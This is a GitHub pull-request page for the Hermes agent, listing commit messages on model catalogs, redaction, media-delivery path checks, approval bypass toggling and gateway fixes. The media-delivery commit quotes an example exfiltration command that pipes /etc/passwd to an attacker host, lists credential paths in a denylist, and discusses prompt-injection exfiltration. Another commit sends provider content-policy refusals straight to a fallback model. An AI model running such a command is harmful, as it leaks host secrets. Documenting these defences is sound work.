feat: migrate active goals across session_id rotation (#33618) - #33890
Closed
ousiaresearch wants to merge 162 commits into
Closed
feat: migrate active goals across session_id rotation (#33618)#33890ousiaresearch wants to merge 162 commits into
ousiaresearch wants to merge 162 commits into
Conversation
Replace locally-forked UI components and hooks with their newly
promoted counterparts from @nous-research/ui:
Deleted local components (now in DS):
- components/ui/input.tsx, label.tsx, separator.tsx, card.tsx,
confirm-dialog.tsx
- components/Toast.tsx, BottomPickSheet.tsx, NouiTypography.tsx
- hooks/useToast.ts, useModalBehavior.ts, useBelowBreakpoint.ts,
useConfirmDelete.ts
Import updates across 25 files to use DS deep imports:
- @nous-research/ui/ui/components/{input,label,separator,card,
confirm-dialog,toast,bottom-sheet}
- @nous-research/ui/ui/components/typography (replaces NouiTypography)
- @nous-research/ui/hooks/{use-toast,use-modal-behavior,
use-below-breakpoint,use-confirm-delete}
Requires design-language >= feat/promote-hermes-web-primitives.
Co-authored-by: Cursor <cursoragent@cursor.com>
The `vercel` optional-dependency was removed from pyproject.toml in NousResearch#33067, but `nix/packages.nix` (added a few hours later in NousResearch#33108) still references `"vercel"` in the `#full` variant's `extraDependencyGroups`. uv2nix fails evaluation with: error: Extra/group name 'vercel' does not match either extra or dependency group Because `nix/devShell.nix` does `inputsFrom = builtins.attrValues self'.packages`, the broken `#full` derivation is pulled into the dev shell too, so `nix develop` / direnv breaks on a fresh clone — not just `nix build .#full`.
…3618) Adds migrate_goal() to hermes_cli/goals.py and wires it at 3 session_id rotation sites in gateway/run.py: auto-compression, agent_result compression, and /compress command handler. Preserves active /goal state across context compaction so goals survive session transitions instead of silently vanishing.
alt-glitch
added
type/feature
Collaborator
6 tasks
…ousResearch#33883) * fix(agent): fallback immediately on provider content-policy blocks Provider safety-filter refusals (e.g. OpenAI Codex 'flagged for possible cybersecurity risk', OpenAI moderation 'violates our usage policies', Anthropic safety-system rejections, Azure content_filter) are deterministic decisions about a specific prompt. Retrying the same prompt up to api_max_retries times just reproduces the same refusal and burns paid attempts before surfacing the generic 'API failed after 3 retries — <provider message>' to Telegram / cron with no indication that the failure came from the model provider rather than Hermes itself. Classify these as a new FailoverReason.content_policy_blocked (non-retryable, should_fallback=True) and route them through the existing is_client_error path so the loop: - skips the 3x retry backoff - activates a configured fallback model immediately - emits a clear provider-safety message to the user (not the generic 'Non-retryable error (HTTP None)') and surfaces actionable guidance when no fallback is configured (rephrase, narrow context, or set fallback_model in hermes config) - returns a final_response that explicitly tells the user this came from the model provider, so gateway delivery is unambiguous and cron last_status reflects the safety block rather than a vague 'agent reported failure' Patterns are intentionally narrow — verbatim refusal phrasings keyed to specific provider safety pipelines, not generic words like 'policy' or 'violation' that would collide with billing / format / auth errors. Regression guards in test_18028_content_policy_blocked.py verify billing 402s, generic 400s, and OpenRouter account-level provider_policy_blocked remain distinct classifications. Salvaged from NousResearch#18164 onto current main (file restructure: loop logic moved from run_agent.py to agent/conversation_loop.py, _emit_status → _buffer_status), broadened patterns beyond the original OpenAI Codex cybersecurity case to cover OpenAI moderation, Anthropic safety system, and Azure content_filter; added user-actionable guidance and a clear final_response so cron/gateway surfaces the policy block instead of a generic non-retryable error, and added a regression-guard test module mirroring the is_client_error predicate. Addresses NousResearch#18028. Co-authored-by: Kuan-Chieh Huang <kchuang1015@users.noreply.github.com> * chore: add kchuang1015 to AUTHOR_MAP --------- Co-authored-by: Kuan-Chieh Huang <kchuang1015@users.noreply.github.com>
OpenRouter supports a session_id field in extra_body that pins multi-turn conversations to the same provider endpoint, enabling prompt cache reuse across turns. The session_id was already threaded through to build_extra_body() but never included in the returned dict. Co-Authored-By: Claude Opus 4 (1M context) <noreply@anthropic.com>
Anthropic released Claude Opus 4.8 on 2026-05-27, available on OpenRouter, Anthropic, Amazon Bedrock, and Claude Platform on AWS: - https://openrouter.ai/anthropic/claude-opus-4.8 - https://openrouter.ai/anthropic/claude-opus-4.8-fast The fast-mode variant is a separate model ID (anthropic/claude-opus-4.8-fast) priced at 2x of the base model — a notable improvement over the 6x premium on older Opus generations (4.6/4.7). It is NOT a `speed: "fast"` request parameter like Opus 4.6; Anthropic's native fast-mode beta still only covers Opus 4.6. Changes: hermes_cli/models.py - Add anthropic/claude-opus-4.8 + anthropic/claude-opus-4.8-fast to the OpenRouter fallback snapshot and the Nous Portal curated list (live catalogs surface them automatically when reachable; the fallback list matters when the manifest fetch fails). - Add claude-opus-4-8 to the Anthropic-native picker list. agent/model_metadata.py - Register claude-opus-4-8 / claude-opus-4.8 in DEFAULT_CONTEXT_LENGTHS with 1M tokens (matches 4.6/4.7). agent/anthropic_adapter.py - Extend _XHIGH_EFFORT_SUBSTRINGS, _ADAPTIVE_THINKING_SUBSTRINGS, and _NO_SAMPLING_PARAMS_SUBSTRINGS with "4-8"/"4.8". 4.8 inherits the Opus 4.7 API contract: adaptive thinking only, xhigh effort level supported, sampling parameters (temperature/top_p/top_k) return 400. - Add claude-opus-4-8 to _ANTHROPIC_OUTPUT_LIMITS (128k max output, same as 4.7). Matches by substring so claude-opus-4-8-fast and date-stamped variants resolve correctly. agent/usage_pricing.py - Add anthropic/claude-opus-4-8: $5/$25 per MTok input/output, $0.50 cache read, $6.25 cache write (same as 4.6/4.7). - Add anthropic/claude-opus-4-8-fast: $10/$50 per MTok (2x), $1.00 cache read, $12.50 cache write. Per OpenRouter, the 2x premium is the only differentiator from regular Opus 4.8. - OpenRouter routes still pull pricing from the live /models API, so no static OpenRouter entry is needed. tests/agent/test_model_metadata.py - Extend the Claude 4.6+ context-length tag list with 4.8/4-8. website/static/api/model-catalog.json - Regenerated via `python scripts/build_model_catalog.py` to pick up the new entries in the OpenRouter and Nous Portal fallback lists. E2E verification (isolated sys.path import against the worktree): - _supports_adaptive_thinking, _supports_xhigh_effort, _forbids_sampling_params all return True for claude-opus-4.8 and claude-opus-4.8-fast. - _supports_fast_mode (the `speed: "fast"` request-parameter gate) stays False for 4.8 — fast mode is a separate model ID on OpenRouter, not a parameter Anthropic accepts on the base model. - DEFAULT_CONTEXT_LENGTHS resolves 1M for both notations. - resolve_billing_route + _lookup_official_docs_pricing resolve the correct $5/$25 (regular) and $10/$50 (fast) pricing for both dot-notation and dash-notation inputs. - 4.7 and 4.6 regression: behavior unchanged. Unit tests: 305 passed across tests/agent/test_usage_pricing.py, test_model_metadata.py, tests/hermes_cli/test_model_catalog.py, test_models.py, test_model_validation.py, test_models_dev_preferred_merge.py.
* chore: release v0.15.0 (2026.5.28) The Velocity Release. Run_agent.py refactor (16k→3.8k LOC, -76%), kanban grows into a multi-agent platform (104 PRs), cold-start perf wave continues (-240ms / -47% per-turn function calls / -195ms per tool call), session_search rebuilt (4500x faster, no LLM), promptware defense lands, Bitwarden Secrets Manager integration, two new image_gen providers (Krea 2, FAL plugin port), Nous-approved MCP catalog, OpenHands skill, ntfy as 23rd messaging platform, deep xAI integration round. 15 P0 + 65 P1 closures. 747 PRs, 1,302 commits, 321 contributors. * chore(release): bump acp_registry/agent.json to 0.15.0 (sync with pyproject)
…ousResearch#33861) The dashboard's loopback auth uses an ephemeral '_SESSION_TOKEN' that rotates on every server restart (hermes update, hermes gateway restart, etc.). A tab kept open across the restart holds the OLD token in window.__HERMES_SESSION_TOKEN__ from the previous HTML render, so every '/api/*' fetch returns '401 Unauthorized' — surfacing in the UI as 'Failed to load Kanban board: 401: Unauthorized', 'Analytics 401', etc. (NousResearch#24186, NousResearch#25275). Before this patch the workaround was to manually clear site data or hard-reload — annoying enough that users reported it as a regression even though the token rotation is by design (security property: stolen tokens can't survive a server restart). The HTML response already sets 'Cache-Control: no-store, no-cache, must-revalidate', so a reload reliably picks up the freshly-injected token. fetchJSON now triggers that reload automatically on the first loopback-mode 401, guarded by a sessionStorage flag so a genuine auth bug (where even the new token fails) falls through to throw on the second attempt instead of reload-looping. The flag is cleared on any 2xx so a subsequent server restart in the same tab gets its own reload cycle. Gated mode is unaffected — that path already redirects to login_url via the structured 401 envelope (Phase 6), and the new code is explicitly skipped when window.__HERMES_AUTH_REQUIRED__ is set. Refs NousResearch#24186, NousResearch#25275
…tives Co-authored-by: Cursor <cursoragent@cursor.com> # Conflicts: # web/src/components/BottomPickSheet.tsx # web/src/components/SidebarFooter.tsx # web/src/components/ui/card.tsx # web/src/components/ui/confirm-dialog.tsx # web/src/pages/ChatPage.tsx
The web/package-lock.json changed when bumping @nous-research/ui to 0.18.0, so the fetchNpmDeps fixed-output hash in nix/web.nix was stale and the nix build failed. Update it to the hash prefetch-npm-deps computes for the new lockfile. Co-authored-by: Cursor <cursoragent@cursor.com>
…ousResearch#34025) The skills.sh source was returning ~858 unique skills from a hardcoded list of 28 popular keyword searches (each capped at 50 results). The real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from the site's sitemap index. Switch the empty-query path in SkillsShSource.search() to walk the sitemap instead of scraping the homepage's curated featured strip. Falls back to the homepage scrape if the sitemap is unreachable. build_skills_index.crawl_skills_sh() now just calls search("", limit=0) instead of running 28 keyword searches — same result in one HTTP round instead of 28. Also handle a httpx + brotlicffi interaction: the per-skill sitemaps are ~900 KB brotli-compressed and the cffi backend's streaming decode chokes on them. Forcing Accept-Encoding to gzip dodges the bug without requiring a brotli library upgrade. E2E against live skills.sh: 19,932 unique skills walked in 0.7s. Tests: 137 pass (+1 new regression test exercising the sitemap path). Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future regression hard-fails the build.
…tore .md delivery (NousResearch#34022) PR NousResearch#29523 restricted MEDIA: paths and bare local paths in agent output to files under the Hermes media cache or an operator-allowlisted root, with a 10-minute recency window as a fallback. The intent was to defend against prompt-injection-driven exfiltration of host secrets, but in the default single-user setup the asymmetry doesn't earn its keep: we accept any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...) and the agent already has terminal access — anything that can convince it to emit a MEDIA: tag for /etc/passwd can equally convince it to `cat /etc/passwd | curl attacker.com`. Practical breakage: agents that produced an .md, .pdf, or other artifact more than ~10 minutes ago, or outside the cache allowlist, showed the user a raw filepath in chat instead of the file. Default flipped to denylist-only: • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run} • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud} • macOS Library/Keychains • $HERMES_HOME/{.env, auth.json, credentials} The legacy allowlist+recency-window behavior stays available via opt-in: `gateway.strict: true` in config.yaml (or `HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots where prompt injection from one user shouldn't be able to exfiltrate the host's secrets to that same user. • `gateway/platforms/base.py` — `validate_media_delivery_path()` short-circuits to "return resolved if not under denylist" when strict is off. Strict mode preserves the original cache-then- allowlist-then-recency logic. New `_media_delivery_strict_mode()` reader for `HERMES_MEDIA_DELIVERY_STRICT`. • `hermes_cli/config.py` — `gateway.strict: false` added to DEFAULT_CONFIG; existing keys documented as "only consulted in strict mode." No `_config_version` bump needed (deep-merge picks up the new default for old installs). • `gateway/run.py` — bridges `gateway.strict` → `HERMES_MEDIA_DELIVERY_STRICT` at startup. • `tools/send_message_tool.py` — schema description broadened back to plain "any local path." • Tests — existing strict-path tests pinned to STRICT=1 so they keep exercising the legacy behavior; new `TestMediaDeliveryDefaultMode` with 8 cases covering the public default (stale .md accepted, any extension delivers, credential paths still blocked, strict env-var aliases, filter E2E). Validation: - tests/gateway/test_platform_base.py: 119/119 pass - tests/gateway/test_tts_media_routing.py: 7/7 pass - tests/tools/test_send_message_tool.py: 121/121 pass - tests/hermes_cli/test_kanban_notify.py: 12/12 pass - tests/cron/test_scheduler.py: 120/120 pass - E2E via execute_code with real imports: • stale .md outside allowlist → accepted (default) • same path with STRICT=1 → rejected • $HOME/.ssh/id_rsa → rejected (default) • filter_local_delivery_paths([md, key]) → [md] only • gateway.strict in config.yaml → bridged to env (true=1, false=0)
* fix(redact): pass web URLs through unchanged Magic-link checkout URLs, OAuth callbacks the agent is meant to follow, and pre-signed share URLs were getting `?token=***` / `?code=***` / `?signature=***` blanket-redacted by parameter NAME, which breaks any skill that has to round-trip a URL through history (the model's tool call arguments get sanitized before persistence — the live call fires with the real URL, but the next turn sees `***`). Joe Rinaldi Johnson hit this with a checkout-acceleration skill that uses magic links in URLs. Drops three call sites from `redact_sensitive_text`: - `_redact_url_query_params` (was redacting `access_token`, `token`, `api_key`, `code`, `signature`, `key`, `auth`, etc.) - `_redact_url_userinfo` (was redacting `https://user:pass@host`) - `_redact_http_request_target_query_params` (was redacting access-log request targets like `"POST /hook?password=... HTTP/1.1"`) The helpers themselves are kept in the module — still importable by anything that wants to opt in explicitly. Still redacted (unchanged): - Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.) anywhere they appear, including inside URLs — see the `test_known_prefix_inside_url_still_redacted` case. - JWTs (`eyJ...`) - DB connection-string passwords (`postgres://admin:pw@host`) — these are connection strings, not web URLs the agent navigates to. - Authorization headers, ENV assignments, JSON `apiKey`/`token` fields, Telegram bot tokens, private key blocks, Discord mentions, E.164 phone numbers, and form-urlencoded bodies (request bodies, not URLs). Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction` with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth callback, magic link, S3 pre-signed, websocket, userinfo, access log) pass through unchanged. Adds positive cases proving the prefix and DB connstr nets still fire. 74 redact tests + 10 browser-exfil + 16 PII redaction tests all pass. * test(codex_app_server): drop URL-query assertion from stderr-tail redaction test The test bundled (a) sk-live-* credential-prefix redaction with (b) URL query-param redaction. (a) is still in effect via _PREFIX_RE; (b) was the contract we just removed in the parent commit so the 'querysecret12345' assertion stopped holding. Keep the credential-shape assertion, drop the URL-query one. Send-message tool's local _URL_SECRET_QUERY_RE in tools/send_message_tool.py is independent of agent/redact.py and unchanged — its tests (test_top_level_send_failure_redacts_query_token, test_http_error_redacts_access_token_in_exception_text) still pass.
…che (NousResearch#33867) * fix(model picker): unify /model and `hermes model` model lists, add disk cache The /model slash picker and `hermes model` were drifting apart. /model read the raw static `OPENROUTER_MODELS` list (31 entries, including 5 that fail at runtime — no tool-call support or absent from live catalog), while `hermes model` ran the same list through the live OpenRouter /v1/models tool-support filter and showed 26 valid entries. Same problem existed for every other authed provider: /model used curated static lists, `hermes model` used live /v1/models. Unifies both surfaces on `provider_model_ids()` and adds a generic disk-cached wrapper so the picker stays snappy. Changes - hermes_cli/models.py: new `cached_provider_model_ids()` — ~/.hermes/provider_models_cache.json, 1h TTL, per-provider entries keyed by credential fingerprint (env vars + OAuth file mtimes). Stale-data-beats-no-data on transient failures. Pair with `clear_provider_models_cache(provider=None)`. - hermes_cli/models.py: `provider_model_ids("nous")` now falls back to the docs-hosted manifest (not the in-repo snapshot) when the live Portal /models call fails — preserves the model_catalog regression guarantee while still going through the unified pathway. - hermes_cli/model_switch.py: `list_authenticated_providers` routes sections 1, 2, and 2b through `cached_provider_model_ids(slug)` with curated fallback when the live fetcher comes up empty. - hermes_cli/model_switch.py: `parse_model_flags` extended to a 4-tuple, parses `--refresh`. - cli.py / gateway/run.py / tui_gateway/server.py: updated unpacking; CLI + gateway wire `--refresh` to `clear_provider_models_cache()`. - hermes_cli/main.py: `hermes model --refresh` argparse flag. - hermes_cli/commands.py: `/model` args_hint advertises `--refresh`. - tests/hermes_cli/test_inventory.py: refresh stale comment. Live PTY parity verification - /model → OpenRouter row: `(26 models)` (was 31, with broken entries) - `hermes model` → OpenRouter: 26 models (unchanged) - The 5 dropped entries: `pareto-code` (no tool-call support), `gemini-3-pro-image-preview` (no tool-call support), `elephant-alpha`, `hy3-preview:free`, `ring-2.6-1t:free` (gone from OpenRouter's live catalog). Live PTY timing - First /model open, empty cache: 4624 ms (full network round trip across every authed provider) - Second /model open, warm cache: 51 ms (90× faster) - `/model --refresh` clears the disk cache and re-fetches. Cache schema (~/.hermes/provider_models_cache.json, ~3 KB): { "anthropic": {"fp": "<sha256:16>", "at": 1748..., "models": [...]}, ... } Targeted tests: tests/hermes_cli/ + gateway model tests + tui_gateway — 5855/5855 pass. * fix(model picker): use blake2b for cache fingerprint to silence CodeQL py/weak-sensitive-data-hashing flagged the sha256 call in _credential_fingerprint() as a high-severity alert because the input includes env var values whose names contain *_API_KEY / *_TOKEN. The hash is used solely as a cache-bust identity — never reversed, never stored, collisions are harmless (worst case: cache miss → live re-fetch). blake2b serves the same purpose and isn't flagged by this rule. Functional behavior identical: 16-hex-char digest, cache hit/miss logic unchanged. Live re-verified — 26 OpenRouter models, warm-cache 78ms.
2 tasks
Contributor
Author
Design notes — how this differs from competing approachesThis PR adds a
Key differences from competing PRs:
Our approach: Fail-safe by design — migration is wrapped in |
…ch#28181) The single-query signal handler in cli.py raises KeyboardInterrupt on SIGTERM/SIGHUP. For interactive 'hermes chat -q' that unwinds the main thread cleanly. For kanban workers spawned by the dispatcher, the worker process is likely to have a non-daemon thread alive (terminal _wait_for_process, custom plugins, etc.). With KeyboardInterrupt only the main thread unwinds; the non-daemon thread keeps the process alive, the gateway has already restarted, and the dispatcher's _pid_alive check returns True forever — task stuck in 'running' indefinitely. When HERMES_KANBAN_TASK is set (dispatcher-spawned worker), flush logging + stdout/stderr, then os._exit(0) instead of raising KeyboardInterrupt. The kernel reclaims the PID immediately, and the existing zombie-state detection in _pid_alive flips the task to crashed on the next dispatcher tick. detect_crashed_workers then re-spawns it on the following tick — no manual recovery needed. A SIGALRM(2s) deadman is armed before the flush so a pathological blocking-I/O flush can't wedge the worker forever. In practice the reporter measured flush in <1ms; the alarm is a failsafe, never the common path. Interactive (non-kanban) chat -q is unchanged — the env-gated branch only fires for dispatcher-spawned workers. Live verification on this machine: - Without HERMES_KANBAN_TASK + non-daemon thread alive: process hangs alive 4+ seconds after SIGTERM. Dispatcher's _pid_alive returns True → task stuck. - With HERMES_KANBAN_TASK + same non-daemon thread: process exits in 0.10s via os._exit(0). Dispatcher reclaims on next tick. Tests: - tests/hermes_cli/test_signal_handler_kanban_worker.py (3 cases): end-to-end subprocess test with a non-daemon thread, HERMES_KANBAN_TASK env, SIGTERM, dispatcher-style _pid_alive check. Plus a source-level invariant test catching future refactors that drop the env-gated exit. - 452/452 kanban tests pass. Co-authored-by: andrewhosf <andrewho.sf@gmail.com>
The CLI's in-chat `/yolo` toggle mutated `os.environ["HERMES_YOLO_MODE"]`
but had no effect because `tools/approval.py:_YOLO_MODE_FROZEN` captures
that env var once at module-import time (a deliberate security floor that
keeps prompt-injected skills from flipping the bypass mid-run). By the
time the user reaches `/yolo` in a running CLI session, `tools.approval`
has already been imported, so the env flip after that is a silent no-op.
Result: `/yolo` advertised "⚠ YOLO" in the status bar while every
dangerous command still hit the approval prompt or got denied. Only
`hermes --yolo` (set before tool imports), `HERMES_YOLO_MODE=1 hermes ...`,
and `hermes config set approvals.mode off` actually bypassed.
This patches the CLI to match what the gateway and TUI `/yolo` handlers
already do, plus mirrors the TUI's session-rename YOLO transfer:
* `_toggle_yolo()` now calls `enable_session_yolo(self.session_id)` /
`disable_session_yolo(self.session_id)` instead of touching the env
var. Matches `gateway/run.py:_handle_yolo_command` and the
`tui_gateway/server.py` key=="yolo" branch.
* Around each `run_conversation()` call, `run_agent()` now binds
`set_current_session_key(self.session_id)` so
`tools.approval.is_current_session_yolo_enabled()` resolves against
the same key the toggle writes under, and resets it in `finally` so
reused threads don't see stale identity. Matches the
`tui_gateway/server.py` and `gateway/platforms/api_server.py` binding
pattern.
* New `_transfer_session_yolo()` helper carries YOLO bypass state
across `self.session_id` reassignments — `/branch` forking into a
new session id and the auto-compression sync that rotates into a
fresh continuation session id. Without this, the same UX failure
mode the rest of this fix addresses (silent `/yolo` no-op) would
reappear after a single `/branch` or auto-compression event.
Mirrors `tui_gateway/server.py` ~line 1297-1305.
* New `_is_session_yolo_active()` helper replaces the two
`bool(os.getenv("HERMES_YOLO_MODE"))` reads in the status-bar
builders, so the badge reflects the actual bypass state. Uses
`getattr(self, "session_id", None)` so status-bar test fixtures
that bypass `__init__` via `HermesCLI.__new__(HermesCLI)` don't
trip `AttributeError` (the builders swallow exceptions silently
and lose every field after the failure). Still honors
`_YOLO_MODE_FROZEN` so `hermes --yolo` keeps lighting it up.
The `_YOLO_MODE_FROZEN` security freeze is preserved — env-var-based
opt-in still only works when set before process start, which is the
documented contract for `--yolo` / `HERMES_YOLO_MODE`.
Closes NousResearch#33925
…vior The old test asserted that a non-MiniMax provider returning a generic overflow (no provider-reported max) would step down to the 128K probe tier. The salvaged fix from NousResearch#33673 deliberately removes that step-down because guessed tiers cause configured 1M sessions to silently shrink. Update the test to assert the new contract: keep the configured 200K window and rely on compression instead.
Auto-recall used to surface every fact type Hindsight had on the
session — `world`, `experience`, and `observation`. That triple-ships
the same underlying signal in three different framings: observations
are the concrete events the user said/did/asked, while world and
experience facts are aggregate summaries Hindsight derives from those
exact observations. Including all three burns most of
`recall_max_tokens` on rephrasings, crowds out events the model
actually needs to see, and produces effective duplicates in the
prompt — observations themselves are deduplicated by construction
so observation-only recall is denser per token and closer to
conversational ground truth.
Change
------
- Default `_recall_types = ["observation"]` (was `None`, which
delegated to server-side "return everything").
- `initialize()` now treats a missing `recall_types` config the same
way; also accepts comma-separated strings for parity with `recall_tags`.
- An explicit `recall_types=[]` config falls back to the default rather
than disabling the filter (would silently widen recall vs. the new
default).
- Added to `get_config_schema()` so it's discoverable via `hermes config`.
Per-call `hindsight_recall` tool invocations are unaffected — they
already only forward `types` when the caller passes the argument.
Docs / migration
----------------
plugins/memory/hindsight/README.md grows a "Behavior change" callout
explaining the why (no-duplicates, information-efficient) and how to
restore the legacy broad recall:
"recall_types": "observation,world,experience" # or a JSON list
in `~/.hermes/hindsight/config.json`.
Tests
-----
- `test_default_values` updated for the new default.
- New cases: explicit list override, CSV string accepted, empty list
falls back to default (not "wider than default").
The original change's description and README claimed the per-call hindsight_recall tool was unaffected by the new observation-only default. That is inaccurate: hindsight_recall reads the same self._recall_types instance attribute as the auto-recall prefetch path, and RECALL_SCHEMA exposes no per-call types argument, so the model cannot override it. Narrowing the default narrows BOTH paths. Corrects the README behavior-change note, the config-table row, and the get_config_schema description to reflect that recall_types applies to both auto-recall and the hindsight_recall tool.
Two CI flakes surfaced on PR NousResearch#34572 (both in files this PR doesn't touch; pre-existing host-dependent flakes): 1. test_process_registry::TestPopenLeakOnSetupFailure — the failure-cleanup tests use a fake proc.pid (8888/9999) and assert proc.kill() runs. But spawn_local's primary cleanup is os.killpg(os.getpgid(pid), SIGKILL), falling back to proc.kill() only on ProcessLookupError/PermissionError/ OSError. When the fake PID happens to exist on a busy host, os.getpgid succeeds, os.killpg fires against an UNRELATED real process group, and proc.kill() is never reached -> flaky AssertionError (and a real risk of SIGKILLing an innocent process group from a unit test). Patch os.getpgid to raise ProcessLookupError so the fallback path runs deterministically and no real killpg is ever issued. 2. test_web_server::test_resize_escape_is_forwarded — the receive loop calls the blocking conn.receive_bytes() with no exception guard. Once the child prints its winsize and exits, the PTY closes; on a missed-marker run the next recv blocks until the 30s pytest-timeout instead of failing fast. Add a try/except break (matching the working sibling tests) and bump the child's pre-read sleep 0.15s -> 0.5s so the resize reliably lands first. Verified: 4/4 pass across 3 consecutive runs; root cause for NousResearch#1 reproduced (os.getpgid(1) succeeds -> old code skips proc.kill).
…enRouter + Nous lists (NousResearch#34581) * chore(models): swap gemini-3-flash-preview for gemini-3.5-flash in OpenRouter + Nous lists * chore(models): regenerate model-catalog.json for gemini-3.5-flash swap
Adds a `grok` skill under `skills/autonomous-ai-agents/`, a third coding-agent orchestration guide alongside `codex` and `claude-code`. It teaches Hermes to delegate coding tasks to Grok Build (xAI's `grok` CLI). - Headless `-p` one-shots (preferred) - Interactive TUI via pty + tmux - Session resume, background tasks, structured JSON output - PR review and parallel worktree patterns - Auth via SuperGrok / X Premium+ (`grok login`) - Full pitfalls and config notes
…ols, tighten frontmatter
NousResearch#34580) The rotation flowchart only described the generic 'retry once, rotate on second 429' path. ChatGPT/Codex plan-limit 429s carry a usage_limit_reached reason and rotate to the next pool key immediately (no retry, since the cap won't clear on retry). Document that case so the docs match the code.
…imize' The FTS5 indexes (messages_fts, messages_fts_trigram) grow as a series of incremental b-tree segments — one per trigger-driven insert batch. SQLite's automerge caps at ~16 segments, so a long-lived store keeps scanning many segments per MATCH and never collapses them unless the special 'optimize' command runs. Nothing in the codebase ever ran it: vacuum() only fired after a prune that deleted rows, and even then never merged FTS segments. Changes: - SessionDB.optimize_fts(): merges each FTS5 index to a single segment, probing for the (optional/lazy) trigram table first so it is safe to call unconditionally. Layout-only — search results and snippet() are unchanged. - vacuum() now calls optimize_fts() before VACUUM so freed index pages are returned to the OS in the same pass. - 'hermes sessions optimize' CLI subcommand for on-demand reclamation + segment compaction (previously there was no way to compact the store without a prune deleting rows), with before/after size reporting. Benchmark (8000 msgs, fragmented to 8 segments/index): - segments 8 -> 1 on both indexes - porter MATCH 5.5x faster (0.449 -> 0.081 ms/q) - trigram MATCH 3.0x faster (0.632 -> 0.207 ms/q) - 8000 matches before == 8000 after, identical row ids (no functional change) Orthogonal to the structural FTS-size PRs (NousResearch#20239 external-content, NousResearch#27770 optional trigram) — segment merge helps regardless of those. Tests: TestOptimizeFts covers index count, search+snippet preservation, missing-trigram path, and idempotency. Full test_hermes_state.py green (227).
Have vacuum() return optimize_fts()'s count so the CLI 'sessions optimize' summary uses the real merged-index count instead of probing the private _FTS_TABLES / _fts_table_exists() members.
…rop-stale-vercel-group fix(nix): drop stale "vercel" group from #full variant
Remove paths filters from contributor-check and supply-chain-audit workflows. When no matching files changed, the workflows never ran and the required checks (check-attribution, supply chain scan, dep bounds) stayed "pending" forever, blocking merge. Now both workflows always trigger. A path-check step/job determines whether the real work should run; gate jobs with matching names report success when the real job was skipped, so branch protection always gets a check status. Also fixes dep-bounds: the old condition if: contains(github.event.pull_request.changed_files_url, 'pyproject.toml') || true was always true (the || true made it unconditional). Now uses the proper changes.deps output from the shared filter job.
The scan-gate / dep-bounds-gate jobs use needs.changes; if the changes job itself fails, its dependents would be skipped via a failed dependency (not a conditional skip), leaving the required check unreported — the same "pending forever" failure this PR fixes. Add always() and switch the gate condition from == 'false' to != 'true' so the gate still fires (and reports SUCCESS) when changes fails and its output is empty.
Wire plugins/video_gen/fal/__init__.py to use the same _ManagedFalSyncClient pattern that image gen already uses. Changes: - Add managed gateway resolution, client caching, and _submit_fal_video_request() that routes between direct FAL_KEY and Nous gateway modes - Update is_available() to return True when either FAL_KEY or the managed gateway is reachable - Update generate() to use submit+get handle pattern instead of fal_client.subscribe() directly - Fix happy-horse endpoint namespace: fal-ai/ → alibaba/ (matches the tool-gateway allowlist from fal-video-gen branch) - Surface actionable error on 4xx gateway rejections Tests: - 4 new tests in test_managed_media_gateways.py (gateway routing, client reuse, direct mode fallback, alibaba namespace) - Updated existing test_fal_plugin.py fixture to use submit/handle pattern and patch _resolve_managed_fal_video_gateway for isolation
- Add test for 4xx ValueError with actionable remediation message - Add test for is_available() returning True via managed gateway - Add test for prefers_gateway overriding direct FAL_KEY - Add test for is_available() via gateway in plugin test file
Add the same managed-gateway UX that image_gen already has: - TOOL_CATEGORIES['video_gen'] gets a 'Nous Subscription' provider row with managed_nous_feature='video_gen' + video_gen_plugin_name='fal' - NousSubscriptionFeatures gains a video_gen property + feature state computation (managed/active/available using the fal-queue gateway) - _GATEWAY_TOOL_LABELS, _GATEWAY_DIRECT_LABELS, _ALL_GATEWAY_KEYS, _get_gateway_direct_credentials, opted_in all include video_gen - apply_nous_managed_defaults and apply_gateway_defaults handle video_gen - _is_toolset_satisfied checks Nous features for video_gen - _is_provider_active detects managed video_gen (use_gateway + fal provider) - _select_plugin_video_gen_provider accepts use_gateway kwarg, propagated from all 4 call sites in _configure_provider when managed_feature is set - hermes setup status shows 'Video Generation (FAL via Nous subscription)' Users on a Nous subscription can now pick 'Nous Subscription' under hermes tools → Video Generation, which sets video_gen.provider=fal + video_gen.use_gateway=true. The FAL plugin's _resolve_managed_fal_video_gateway then routes through the managed queue gateway — no FAL_KEY needed.
FAL veo3.1 API expects duration as "4s"/"6s"/"8s" (with unit suffix), not bare "4"/"6"/"8" like other families. Add per-family duration_suffix field and apply it in _build_payload. Also add "4k" to veo3.1 resolutions per FAL API docs. Note: the managed gateway currently rejects the "4s" format (expects integer duration). Gateway-side fix needed for veo3.1 to work through the Nous subscription path.
int(payload["duration"]) blows up on "4s" (veo3.1 format). Strip non-digit chars before int conversion in the response builder.
The plugin switched from fal_client.subscribe() to submit()+handle.get(). The test mock only had subscribe, causing CI failures.
…rs + fix Windows consume (NousResearch#34749) * fix(gateway): only fire planned-stop watcher for markers targeting self Salvaged from NousResearch#34599 — rebased onto current main. The planned-stop watcher now only fires shutdown for a marker that targets the current process, instead of any marker that exists on disk. Fixes the Windows crash loop (NousResearch#34597) where a stale marker from a previous Gateway instance kills a freshly booted Gateway ~400ms after start with a false "Received UNKNOWN — initiating shutdown". Co-authored-by: Bartok9 <danielrpike9@gmail.com> * fix(gateway): match planned-stop/takeover markers by PID alone when start_time is unavailable Follow-up to the NousResearch#34599 salvage. The watcher's non-destructive probe (planned_stop_marker_targets_self) already falls back to PID equality when a process start_time is unavailable, but the authoritative consume it gates (_consume_pid_marker_for_self) still required a non-None start_time match. _get_process_start_time reads /proc/<pid>/stat and returns None on macOS and native Windows — the only platform the planned-stop watcher exists for. So on Windows the probe would fire the shutdown handler (PID matches) but the handler's consume_planned_stop_marker_for_self() would return False, and a legitimate 'hermes gateway stop' was still misclassified as an unexpected UNKNOWN exit (exit 1) and revived by the service manager — a residual half of the NousResearch#34597 crash loop on the legitimate-stop path. Align the consume with the probe: when both start_times are known they must match (PID-reuse guard preserved on Linux); when either is unavailable, fall back to PID equality alone, bounded by the existing short marker TTL. This 